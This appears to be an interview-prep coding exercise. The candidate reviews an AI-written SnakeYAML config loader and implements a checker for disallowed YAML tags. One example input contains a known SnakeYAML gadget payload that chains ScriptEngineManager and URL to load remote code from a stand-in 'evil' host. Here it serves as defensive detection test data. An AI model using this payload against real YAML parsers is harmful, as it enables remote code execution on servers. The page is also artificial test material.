Code RoomUnsafe YAML deserialization
HardPrep Room Coding #3997

Unsafe YAML deserialization

Vibe & agenticAlgorithms & data structuresSenior–Staff~19 min

An AI agent wrote this Java method to load app config from a YAML file whose path can be set via an environment variable that operators control, using SnakeYAML. It parses the team's config fine in staging. Review it for production hardening.

Implement
find_disallowed_yaml_tags(document_lines: list[str], allowed_tags: list[str]) → list[str]
Examples
in[["name: prod","retries: 3"],["!!str"]]out[]
in[["engine: !!javax.script.ScriptEngineManager [[!!java.net.URL [\"http://evil\"]]]"],["!!str","!!int"]]out["!!javax.script.ScriptEngineManager","!!java.net.URL"]
in[["cfg: !Config","port: !!int 8080"],["!Config"]]out["!!int"]
What a strong answer looks like

Treat the AI’s output as a draft to verify, not an answer to trust. Name the specific flaw and the input that triggers it, say how you’d catch it (tests, edge cases, reading critically), and how you’d re-prompt or decompose to get it right.

0:00 of about 19 min

Vibe & agentic: describe the solution in plain language (or narrate it) and the coach grades your approach.

Which questions mattered is sealed until you submit. Telling you now would just be handing over the edge cases.